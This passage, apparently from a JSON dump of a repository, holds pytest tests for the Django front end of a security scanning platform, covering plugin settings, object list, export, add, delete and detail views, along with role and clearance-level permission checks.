    "content": "from django.urls import reverse\nfrom httpx import HTTPStatusError, Response, codes\nfrom katalogus.views.plugin_settings_delete import PluginSettingsDeleteView\nfrom pytest_django.asserts import assertContains\n\nfrom tests.conftest import setup_request\n\n\ndef test_plugin_settings_delete_view(rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n\n    request = setup_request(rf.get(\"plugin_settings_delete\"), superuser_member.user)\n    response = PluginSettingsDeleteView.as_view()(\n        request,\n        organization_code=superuser_member.organization.code,\n        plugin_type=\"boefje\",\n        plugin_id=\"test-plugin\",\n        setting_name=\"TEST_PROPERTY\",\n    )\n\n    assertContains(response, \"TestBoefje\")\n    assertContains(response, \"Delete settings\")\n\n\ndef test_plugin_settings_delete(rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n\n    request = setup_request(rf.post(\"plugin_settings_delete\"), superuser_member.user)\n    response = PluginSettingsDeleteView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-boefje\"\n    )\n\n    assert response.status_code == 302\n    assert response.headers[\"Location\"] == reverse(\n        \"boefje_detail\", kwargs={\"organization_code\": superuser_member.organization.code, \"plugin_id\": \"test-boefje\"}\n    )\n    assert list(request._messages).pop().message == \"Settings for plugin TestBoefje successfully deleted.\"\n\n\ndef test_plugin_settings_delete_failed(\n    rf, mocker, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n    mock_mixins_katalogus.delete_plugin_settings.side_effect = HTTPStatusError(\n        \"Internal Server Error\", request=None, response=Response(codes.INTERNAL_SERVER_ERROR)\n    )\n\n    request = setup_request(rf.post(\"plugin_settings_delete\"), superuser_member.user)\n    response = PluginSettingsDeleteView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-boefje\"\n    )\n\n    assert response.status_code == 302\n    assert response.headers[\"Location\"] == reverse(\n        \"boefje_detail\", kwargs={\"organization_code\": superuser_member.organization.code, \"plugin_id\": \"test-boefje\"}\n    )\n    assert (\n        list(request._messages).pop().message\n        == \"Failed deleting Settings for plugin TestBoefje. Check the Katalogus logs for more info.\"\n    )\n\n\ndef test_plugin_settings_delete_no_settings_present(\n    rf, mocker, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n    mock_mixins_katalogus.delete_plugin_settings.side_effect = HTTPStatusError(\n        \"Not Found\", request=None, response=Response(codes.NOT_FOUND)\n    )\n    request = setup_request(rf.post(\"plugin_settings_delete\"), superuser_member.user)\n    response = PluginSettingsDeleteView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-boefje\"\n    )\n\n    assert response.status_code == 302\n    assert response.headers[\"Location\"] == reverse(\n        \"boefje_detail\", kwargs={\"organization_code\": superuser_member.organization.code, \"plugin_id\": \"test-boefje\"}\n    )\n    assert list(request._messages).pop().message == \"Plugin TestBoefje has no settings.\"\n"
  },
  {
    "path": "rocky/tests/katalogus/test_katalogus_plugin_detail.py",
    "content": "from katalogus.views.plugin_detail import BoefjeDetailView\nfrom pytest_django.asserts import assertContains, assertNotContains\n\nfrom tests.conftest import setup_request\n\n\ndef test_plugin_detail_view(\n    rf,\n    superuser_member,\n    mock_mixins_katalogus,\n    plugin_details,\n    boefje_dns_records,\n    boefje_nmap_tcp,\n    mock_organization_view_octopoes,\n    mock_scheduler_client_task_list,\n    mocker,\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    katalogus_mocker = mocker.patch(\"katalogus.client.KATalogusClient\")()\n    katalogus_mocker.get_plugins.return_value = [boefje_dns_records, boefje_nmap_tcp]\n\n    request = setup_request(rf.get(\"boefje_detail\"), superuser_member.user)\n    response = BoefjeDetailView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_id=\"test-plugin\"\n    )\n\n    assertContains(response, \"TestBoefje\")\n    assertContains(response, \"Produces\")\n    assertContains(response, \"Tasks\")\n    assertContains(response, \"Object list\")\n    assertContains(response, \"Consumes\")\n    assertContains(response, plugin_details.description)\n    assertNotContains(response, \"Container image\")\n    assertNotContains(response, \"Variants\")\n\n\ndef test_plugin_detail_view_with_container_image(\n    rf,\n    superuser_member,\n    mocker,\n    plugin_details_with_container,\n    boefje_dns_records,\n    boefje_nmap_tcp,\n    mock_organization_view_octopoes,\n    mock_scheduler_client_task_list,\n):\n    katalogus_mocker = mocker.patch(\"katalogus.client.KATalogus\")()\n    katalogus_mocker.get_plugin.return_value = plugin_details_with_container\n    katalogus_mocker.get_plugins.return_value = [boefje_dns_records, boefje_nmap_tcp]\n\n    request = setup_request(rf.get(\"boefje_detail\"), superuser_member.user)\n    response = BoefjeDetailView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_id=\"test-plugin\"\n    )\n\n    assertContains(response, \"TestBoefje\")\n    assertContains(response, \"Container image\")\n    assertContains(response, \"Variants\")\n    assertContains(response, boefje_dns_records.name)\n    assertContains(response, boefje_dns_records.oci_arguments[0])\n    assertContains(response, boefje_dns_records.oci_arguments[1])\n    assertContains(response, boefje_nmap_tcp.name)\n    assertContains(response, boefje_nmap_tcp.oci_arguments[0])\n    assertContains(response, boefje_nmap_tcp.oci_arguments[1])\n    assertContains(response, \"Nmap TCP\")\n    assertContains(response, \"Produces\")\n    assertContains(response, \"Tasks\")\n    assertContains(response, \"Object list\")\n    assertContains(response, \"Consumes\")\n    assertContains(response, plugin_details_with_container.description)\n\n\ndef test_plugin_detail_view_no_consumes(\n    rf,\n    superuser_member,\n    mock_mixins_katalogus,\n    mocker,\n    plugin_details,\n    boefje_dns_records,\n    boefje_nmap_tcp,\n    mock_organization_view_octopoes,\n    mock_scheduler_client_task_list,\n):\n    plugin_details.consumes = []\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    katalogus_mocker = mocker.patch(\"katalogus.client.KATalogusClient\")()\n    katalogus_mocker.get_plugins.return_value = [boefje_dns_records, boefje_nmap_tcp]\n\n    request = setup_request(rf.get(\"boefje_detail\"), superuser_member.user)\n    response = BoefjeDetailView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_id=\"test-plugin\"\n    )\n\n    assertContains(response, \"TestBoefje does not need any input objects.\")\n"
  },
  {
    "path": "rocky/tests/objects/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tests/objects/test_objects.py",
    "content": "import csv\nimport io\nimport json\n\nimport pytest\nfrom django.urls import resolve, reverse\nfrom pytest_django.asserts import assertContains, assertNotContains\nfrom tools.models import Indemnification\n\nfrom octopoes.models import ScanLevel\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.types import OOIType\nfrom rocky.views.ooi_list import OOIListExportView, OOIListView\nfrom tests.conftest import setup_request\n\n\ndef test_ooi_list(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n    request = rf.get(url)\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=200, items=[Network(name=\"testnetwork\")] * 150\n    )\n\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_organization_view_octopoes().list_objects.call_count == 1\n    assertContains(response, \"testnetwork\")\n\n\ndef test_ooi_list_with_clearance_type_filter_and_clearance_level_filter(\n    rf, client_member, mock_organization_view_octopoes\n):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n    request = rf.get(url, {\"clearance_level\": [0, 1], \"clearance_type\": [\"declared\", \"inherited\"]})\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=200, items=[Network(name=\"testnetwork\")] * 150\n    )\n\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_organization_view_octopoes().list_objects.call_count == 1\n\n    list_call_0 = mock_organization_view_octopoes().list_objects.call_args_list[0]\n    assert list_call_0.kwargs[\"limit\"] == 150\n    assert list_call_0.kwargs[\"scan_level\"] == {ScanLevel.L0, ScanLevel.L1}\n    assert list_call_0.kwargs[\"scan_profile_type\"] == {\"declared\", \"inherited\"}\n\n    assertContains(response, \"testnetwork\")\n    assertContains(response, \"Showing 150 of 200 objects\")\n\n\ndef test_ooi_list_search(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n    request = rf.get(url, {\"search\": \"testnetwork\"})\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    network = Network(name=\"testnetwork\")\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=2, items=[network, Hostname(name=\"example.com\", network=network.reference)]\n    )\n\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    list_call_1 = mock_organization_view_octopoes().list_objects.call_args_list[0]\n    assert list_call_1.kwargs[\"search_string\"] == \"testnetwork\"\n\n    assertContains(response, \"Showing 2 of 2 objects\")\n\n\ndef test_ooi_list_delete_multiple(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n    client_member.trusted_clearance_level = 0\n    client_member.acknowledged_clearance_level = 0\n    client_member.save()\n\n    request = rf.post(\n        url,\n        data={\"ooi\": [\"Network|internet\", \"Hostname|internet|scanme.org\"], \"scan-profile\": \"L0\", \"action\": \"delete\"},\n    )\n    setup_request(request, client_member.user)\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302\n    assert mock_organization_view_octopoes().delete_many.call_count == 1\n\n\ndef test_ooi_list_delete_none(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n\n    request = rf.post(url, data={\"ooi\": [], \"scan-profile\": \"L0\", \"action\": \"delete\"})\n    setup_request(request, client_member.user)\n\n    client_member.acknowledged_clearance_level = 0\n    client_member.save()\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 422\n\n\ndef test_ooi_list_unknown_action(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n\n    request = rf.post(url, data={\"ooi\": [\"Network|internet\"], \"scan-profile\": \"L0\", \"action\": \"None\"})\n    setup_request(request, client_member.user)\n\n    client_member.acknowledged_clearance_level = 0\n    client_member.save()\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 404\n\n\ndef test_update_scan_profile_multiple(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n    client_member.trusted_clearance_level = 1\n    client_member.acknowledged_clearance_level = 1\n    client_member.save()\n    request = rf.post(\n        url,\n        data={\n            \"ooi\": [\"Network|internet\", \"Hostname|internet|scanme.org\"],\n            \"clearance_type\": \"declared\",\n            \"level\": \"1\",\n            \"action\": \"update-scan-profile\",\n        },\n    )\n    setup_request(request, client_member.user)\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302\n    assert mock_organization_view_octopoes().save_many_scan_profiles.call_count == 1\n\n\ndef test_update_scan_profile_single(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n    client_member.trusted_clearance_level = 4\n    client_member.acknowledged_clearance_level = 4\n    client_member.save()\n\n    request = rf.post(\n        url,\n        data={\n            \"ooi\": [\"Hostname|internet|scanme.org\"],\n            \"clearance_type\": \"declared\",\n            \"level\": \"4\",\n            \"action\": \"update-scan-profile\",\n        },\n    )\n\n    setup_request(request, client_member.user)\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302\n    assert mock_organization_view_octopoes().save_many_scan_profiles.call_count == 1\n\n\ndef test_update_scan_profile_to_inherit(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n\n    request = rf.post(\n        url,\n        data={\"ooi\": [\"Hostname|internet|scanme.org\"], \"clearance_type\": \"inherited\", \"action\": \"update-scan-profile\"},\n    )\n    setup_request(request, client_member.user)\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302\n    assert mock_organization_view_octopoes().save_many_scan_profiles.call_count == 1\n\n\ndef test_update_scan_profile_to_inherit_connection_error(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().save_many_scan_profiles.side_effect = ConnectionError\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n\n    request = rf.post(\n        url,\n        data={\"ooi\": [\"Hostname|internet|scanme.org\"], \"clearance_type\": \"inherited\", \"action\": \"update-scan-profile\"},\n    )\n    setup_request(request, client_member.user)\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 500\n\n\ndef test_update_scan_profile_to_inherit_object_not_found(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().save_many_scan_profiles.side_effect = ObjectNotFoundException(\"nothing found\")\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n\n    request = rf.post(\n        url,\n        data={\"ooi\": [\"Hostname|internet|scanme.org\"], \"clearance_type\": \"inherited\", \"action\": \"update-scan-profile\"},\n    )\n    setup_request(request, client_member.user)\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 404\n\n\ndef test_update_scan_profiles_forbidden_acknowledged(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n\n    request = rf.post(\n        url,\n        data={\n            \"ooi\": [\"Network|internet\", \"Hostname|internet|scanme.org\"],\n            \"clearance_type\": \"declared\",\n            \"level\": \"1\",\n            \"action\": \"update-scan-profile\",\n        },\n    )\n\n    client_member.acknowledged_clearance_level = -1\n    client_member.save()\n\n    setup_request(request, client_member.user)\n\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302\n    assert response.headers[\"location\"] == \"/en/test/account/\"\n    assert (\n        list(request._messages)[0].message\n        == \"Could not raise clearance level to L1. You acknowledged a clearance level of L-1. \"\n        \"Please accept the clearance level below to proceed.\"\n    )\n\n\ndef test_update_scan_profiles_forbidden_trusted(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n\n    request = rf.post(\n        url,\n        data={\"ooi\": [\"Network|internet\"], \"clearance_type\": \"declared\", \"level\": \"1\", \"action\": \"update-scan-profile\"},\n    )\n\n    client_member.trusted_clearance_level = -1\n    client_member.save()\n\n    setup_request(request, client_member.user)\n\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 403\n\n\ndef test_update_scan_profiles_no_indemnification(rf, redteam_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": redteam_member.organization.code}\n    url = reverse(\"ooi_list\", kwargs=kwargs)\n\n    request = rf.post(\n        url,\n        data={\n            \"ooi\": [\"Network|internet\", \"Hostname|internet|scanme.org\"],\n            \"clearance_type\": \"declared\",\n            \"level\": \"1\",\n            \"action\": \"update-scan-profile\",\n        },\n    )\n\n    Indemnification.objects.get(user=redteam_member.user).delete()\n\n    setup_request(request, redteam_member.user)\n\n    response = OOIListView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 403\n\n\ndef test_update_scan_profiles_octopoes_down(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().save_many_scan_profiles.side_effect = ConnectionError\n    client_member.trusted_clearance_level = 2\n    client_member.acknowledged_clearance_level = 2\n    client_member.save()\n    request = rf.post(\n        \"ooi_list\",\n        data={\n            \"ooi\": [\"Network|internet\", \"Hostname|internet|scanme.org\"],\n            \"clearance_type\": \"declared\",\n            \"level\": 2,\n            \"action\": \"update-scan-profile\",\n        },\n    )\n\n    setup_request(request, client_member.user)\n\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 500\n\n\ndef test_update_scan_profiles_object_not_found(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().save_many_scan_profiles.side_effect = ObjectNotFoundException(\"gone\")\n    client_member.trusted_clearance_level = 2\n    client_member.acknowledged_clearance_level = 2\n    client_member.save()\n\n    request = rf.post(\n        \"ooi_list\",\n        data={\n            \"ooi\": [\"Network|internet\", \"Hostname|internet|scanme.org\"],\n            \"clearance_type\": \"declared\",\n            \"level\": 2,\n            \"action\": \"update-scan-profile\",\n        },\n    )\n\n    setup_request(request, client_member.user)\n\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 404\n\n\ndef test_delete_octopoes_down(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().delete_many.side_effect = ConnectionError\n\n    request = rf.post(\n        \"ooi_list\",\n        data={\n            \"ooi\": [\"Network|internet\", \"Hostname|internet|scanme.org\"],\n            \"clearance_type\": \"declared\",\n            \"level\": 2,\n            \"action\": \"delete\",\n        },\n    )\n    client_member.trusted_clearance_level = 4\n    client_member.acknowledged_clearance_level = 4\n    client_member.save()\n    setup_request(request, client_member.user)\n\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 500\n\n\ndef test_delete_object_not_found(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().delete_many.side_effect = ObjectNotFoundException(\"gone\")\n\n    request = rf.post(\n        \"ooi_list\",\n        data={\n            \"ooi\": [\"Network|internet\", \"Hostname|internet|scanme.org\"],\n            \"clearance_type\": \"declared\",\n            \"level\": 2,\n            \"action\": \"delete\",\n        },\n    )\n\n    setup_request(request, client_member.user)\n\n    response = OOIListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 404\n\n\ndef test_ooi_list_export_json(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list_export\", kwargs=kwargs)\n    request = rf.get(url, {\"file_type\": \"json\"})\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=200, items=[Network(name=\"testnetwork\")] * 150\n    )\n\n    response = OOIListExportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert response.headers[\"Content-Type\"] == \"application/json\"\n    assert mock_organization_view_octopoes().list_objects.call_count == 1\n\n    exported_objects = json.loads(response.content.decode())\n    assert len(exported_objects) == 151\n    assert \"observed_at\" in exported_objects[0]\n    assert \"filters\" in exported_objects[0]\n\n    assert exported_objects[1] == {\"key\": \"Network|testnetwork\", \"name\": \"testnetwork\", \"ooi_type\": \"Network\"}\n    assert exported_objects[2] == {\"key\": \"Network|testnetwork\", \"name\": \"testnetwork\", \"ooi_type\": \"Network\"}\n\n\ndef test_ooi_list_export_csv(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list_export\", kwargs=kwargs)\n    request = rf.get(url, {\"file_type\": \"csv\"})\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=200, items=[Network(name=\"testnetwork\")] * 150\n    )\n\n    response = OOIListExportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert response.headers[\"Content-Type\"] == \"text/csv\"\n    assert mock_organization_view_octopoes().list_objects.call_count == 1\n\n    exported_objects = list(csv.DictReader(io.StringIO(response.content.decode()), delimiter=\",\", quotechar='\"'))\n\n    assert len(exported_objects) == 152\n    assert \"observed_at\" in exported_objects[0]\n    assert \"filters\" in exported_objects[0]\n\n\ndef test_ooi_list_filtered_export_csv(rf, client_member, mock_organization_view_octopoes):\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"ooi_list_export\", kwargs=kwargs)\n    request = rf.get(\n        url, {\"file_type\": \"csv\", \"ooi_type\": \"Network\", \"clearance_type\": \"inherited\", \"clearance_level\": 3}\n    )\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=200, items=[Network(name=\"testnetwork\")] * 150\n    )\n\n    response = OOIListExportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert response.headers[\"Content-Type\"] == \"text/csv\"\n    assert mock_organization_view_octopoes().list_objects.call_count == 1\n\n    mock_calls = mock_organization_view_octopoes().list_objects.mock_calls\n    assert list(mock_calls[0].kwargs[\"scan_level\"])[0] == 3\n    popped_ooi_type = mock_calls[0].args[0].pop()\n    assert popped_ooi_type == \"Network\"\n    assert list(mock_calls[0].kwargs[\"scan_profile_type\"])[0] == \"inherited\"\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\"])\ndef test_delete_perms_object_list(request, member, rf, mock_organization_view_octopoes):\n    member = request.getfixturevalue(member)\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=200, items=[Network(name=\"testnetwork\")] * 150\n    )\n\n    url = reverse(\"ooi_list\", kwargs={\"organization_code\": member.organization.code})\n    request = rf.get(url)\n    request.resolver_match = resolve(url)\n    response = OOIListView.as_view()(setup_request(request, member.user), organization_code=member.organization.code)\n\n    assert response.status_code == 200\n\n    assertContains(response, \"Delete\")\n\n\ndef test_delete_perms_object_list_clients(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=200, items=[Network(name=\"testnetwork\")] * 150\n    )\n\n    url = reverse(\"ooi_list\", kwargs={\"organization_code\": client_member.organization.code})\n    request = rf.get(url)\n    request.resolver_match = resolve(url)\n    response = OOIListView.as_view()(\n        setup_request(request, client_member.user), organization_code=client_member.organization.code\n    )\n\n    assert response.status_code == 200\n\n    assertNotContains(response, \"Delete\")\n"
  },
  {
    "path": "rocky/tests/objects/test_objects_add.py",
    "content": "import json\nimport uuid\n\nfrom pytest_django.asserts import assertContains\n\nfrom rocky.views.ooi_add import OOIAddView\nfrom tests.conftest import setup_request\n\n\ndef test_add_ooi(rf, client_member, mock_organization_view_octopoes, mock_bytes_client):\n    request = setup_request(rf.post(\"ooi_add\", {\"ooi_type\": \"Network\", \"name\": \"testnetwork\"}), client_member.user)\n\n    response = OOIAddView.as_view()(request, organization_code=client_member.organization.code, ooi_type=\"Network\")\n\n    assert response.status_code == 302\n    assert response.url == \"/en/test/objects/detail/?ooi_id=Network%7Ctestnetwork\"\n\n    mock_bytes_client().add_manual_proof.assert_called_once()\n    call_args = mock_bytes_client().add_manual_proof.call_args[0]\n\n    assert isinstance(call_args[0], uuid.UUID)\n\n    actual = json.loads(call_args[1])\n    expected_fragment = {\n        \"ooi\": {\n            \"object_type\": \"Network\",\n            \"scan_profile\": None,\n            \"user_id\": client_member.user.id,\n            \"primary_key\": \"Network|testnetwork\",\n            \"name\": \"testnetwork\",\n        }\n    }\n\n    assert expected_fragment.items() <= actual[0].items()\n    assert mock_organization_view_octopoes().save_declaration.call_count == 1\n\n\ndef test_add_bad_schema(rf, client_member):\n    request = setup_request(\n        rf.post(\"ooi_add\", {\"ooi_type\": \"Network\", \"testnamewrong\": \"testnetwork\"}), client_member.user\n    )\n\n    response = OOIAddView.as_view()(request, organization_code=client_member.organization.code, ooi_type=\"Network\")\n\n    assert response.status_code == 200\n    assertContains(response, \"Error:\")\n    assertContains(response, \"This field is required.\")\n"
  },
  {
    "path": "rocky/tests/objects/test_objects_delete.py",
    "content": "import pytest\nfrom django.core.exceptions import PermissionDenied\nfrom pytest_django.asserts import assertContains\n\nfrom rocky.views.ooi_delete import OOIDeleteView\nfrom tests.conftest import setup_request\n\n\ndef test_ooi_delete(rf, redteam_member, mock_organization_view_octopoes, network):\n    mock_organization_view_octopoes().get.return_value = network\n    request = setup_request(rf.get(\"ooi_delete\", {\"ooi_id\": \"Network|testnetwork\"}), redteam_member.user)\n    response = OOIDeleteView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"testnetwork\")\n    assertContains(response, \"Delete Network\")\n    assertContains(response, \"Are you sure?\")\n\n\ndef test_finding_delete(rf, redteam_member, mock_organization_view_octopoes, finding):\n    mock_organization_view_octopoes().get.return_value = finding\n    request = setup_request(rf.get(\"ooi_delete\", {\"ooi_id\": finding.primary_key}), redteam_member.user)\n    response = OOIDeleteView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"testnetwork\")\n    assertContains(response, \"Delete Finding\")\n    assertContains(response, \"Are you sure?\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\"])\ndef test_delete_ooi_perms(request, member, rf, mock_organization_view_octopoes, network):\n    member = request.getfixturevalue(member)\n    mock_organization_view_octopoes().get.return_value = network\n\n    response = OOIDeleteView.as_view()(\n        setup_request(rf.get(\"ooi_delete\", {\"ooi_id\": \"Network|testnetwork\"}), member.user),\n        organization_code=member.organization.code,\n    )\n\n    assert response.status_code == 200\n\n\ndef test_delete_ooi_perms_clients(rf, client_member, mock_organization_view_octopoes, network):\n    mock_organization_view_octopoes().get.return_value = network\n\n    with pytest.raises(PermissionDenied):\n        OOIDeleteView.as_view()(\n            setup_request(rf.get(\"ooi_delete\", {\"ooi_id\": \"Network|testnetwork\"}), client_member.user),\n            organization_code=client_member.organization.code,\n        )\n"
  },
  {
    "path": "rocky/tests/objects/test_objects_detail.py",
    "content": "from urllib.parse import urlencode\n\nimport pytest\nfrom katalogus.client import Boefje\nfrom pytest_django.asserts import assertContains, assertNotContains\nfrom tools.enums import SCAN_LEVEL\nfrom tools.models import Indemnification\n\nfrom octopoes.models.tree import ReferenceTree\nfrom rocky.views.ooi_detail import OOIDetailView\nfrom tests.conftest import get_stub_path, setup_request\n\nTREE_DATA = {\n    \"root\": {\n        \"reference\": \"Finding|Network|testnetwork|KAT-000\",\n        \"children\": {\"ooi\": [{\"reference\": \"Network|testnetwork\", \"children\": {}}]},\n    },\n    \"store\": {\n        \"Network|testnetwork\": {\"object_type\": \"Network\", \"primary_key\": \"Network|testnetwork\", \"name\": \"testnetwork\"},\n        \"Finding|Network|testnetwork|KAT-000\": {\n            \"object_type\": \"Finding\",\n            \"primary_key\": \"Finding|Network|testnetwork|KAT-000\",\n            \"ooi\": \"Network|testnetwork\",\n            \"finding_type\": \"KATFindingType|KAT-000\",\n        },\n    },\n}\n\nQUESTION_DATA = {\n    \"root\": {\n        \"reference\": \"Question|/test|Network|testnetwork\",\n        \"children\": {\"ooi\": [{\"reference\": \"Network|testnetwork\", \"children\": {}}]},\n    },\n    \"store\": {\n        \"Network|testnetwork\": {\"object_type\": \"Network\", \"primary_key\": \"Network|testnetwork\", \"name\": \"testnetwork\"},\n        \"Question|/test|Network|testnetwork\": {\n            \"ooi\": \"Question|/test|Network|testnetwork\",\n            \"object_type\": \"Question\",\n            \"schema_id\": \"/test\",\n            \"json_schema\": get_stub_path(\"question_schema.json\").read_text(),\n            \"primary_key\": \"Question|/test|Network|testnetwork\",\n        },\n    },\n}\n\n\ndef test_ooi_detail(rf, client_member, mock_organization_view_octopoes, mock_scheduler, paginated_task_list, mocker):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    mock_scheduler.list_tasks.return_value = paginated_task_list\n\n    request = setup_request(rf.get(\"ooi_detail\", {\"ooi_id\": \"Network|testnetwork\"}), client_member.user)\n\n    response = OOIDetailView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n    assertContains(response, \"Object\")\n    assertContains(response, \"Network|testnetwork\")\n\n    assertContains(response, \"Plugin\")\n    assertContains(response, \"TestBoefje\")\n    assertContains(\n        response, f'href=\"/en/{client_member.organization.code}/kat-alogus/plugins/boefje/test-boefje/\">TestBoefje</a>'\n    )\n    assertContains(response, \"Status\")\n    assertContains(response, \"Completed\")\n    assertContains(response, \"Created date\")\n    assertContains(response, \"9, 2022, 11:53 a.m.\")\n    assertNotContains(response, \"Question\")\n    assertNotContains(response, \"Fill out this form to answer the Question (again)\")\n\n\ndef 